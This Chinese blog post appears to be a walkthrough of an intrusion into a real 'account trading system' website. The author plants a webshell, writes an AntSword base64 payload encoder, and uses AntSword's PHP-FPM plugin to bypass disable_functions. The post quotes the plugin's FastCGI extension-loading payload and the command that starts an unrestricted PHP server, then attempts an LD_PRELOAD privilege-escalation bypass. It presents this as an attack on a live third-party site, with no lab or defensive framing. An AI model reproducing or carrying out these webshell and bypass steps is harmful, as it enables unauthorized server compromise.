0%

蚁剑 PHP-FPM bypass disable_function

接着上回没有bypass disable_function

账户交易系统 | Y0ng的博客 (yongsheng.site)

这回发现上回那个站点开启了php-fpm,然后bypass

先写shell

验证:

蚁剑创建编码器:

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {

data[pwd] = Buffer.from(data['_']).toString('base64');

delete data['_'];

return data;
}

连接:


无法执行系统命令
利用蚁剑的插件

这里fgi的地址需要找到

发现在/tmp目录下

直接利用,利用成功后会在shell目录下生成一个.antproxy.php

具体的原理:

蚁剑 disable_functions 研究 | 明天的乌云

蚁剑是有一个php-fpm绕过disable的插件

蚁剑的bypass插件他这里的话是通过

/bin/sh -c php -n -S 127.0.0.1:60049 -t /var/www/html

起了一个 新的PHP Server,-n就是不使用php.ini,从而实现了bypass disable_functions,然后在插件的源码可以看到,从133行起的exploit()函数里面,有一个生成扩展,上传扩展,然后最主要的部分是从197行开始构造请求包攻击使用php-fpm加载扩展,关键代码如下。

197 var payload = `${FastCgiClient()};
198 $content="";
199 $client = new Client('${fpm_host}',${fpm_port});
...
211 'PHP_VALUE' => 'extension=${p}',
212 'PHP_ADMIN_VALUE' => 'extension=${p}',

那么总结下来的整个攻击流程就是:首先生成扩展,攻击php-fpm执行扩展,然后就会在目标机器本地开启一个新的web服务器,通过antproxy.php转发到无disable的php server上,此时就成功达成了bypass disable_function

Shell创建副本,然后将新的shell名字改为.antproxy.php

进入终端 , 准备上线提权

发现disable没有mail函数等,尝试利用上传.so镜像进行bypass
上传两大件


访问:

好吧,没看到putenv也被ban了 无法利用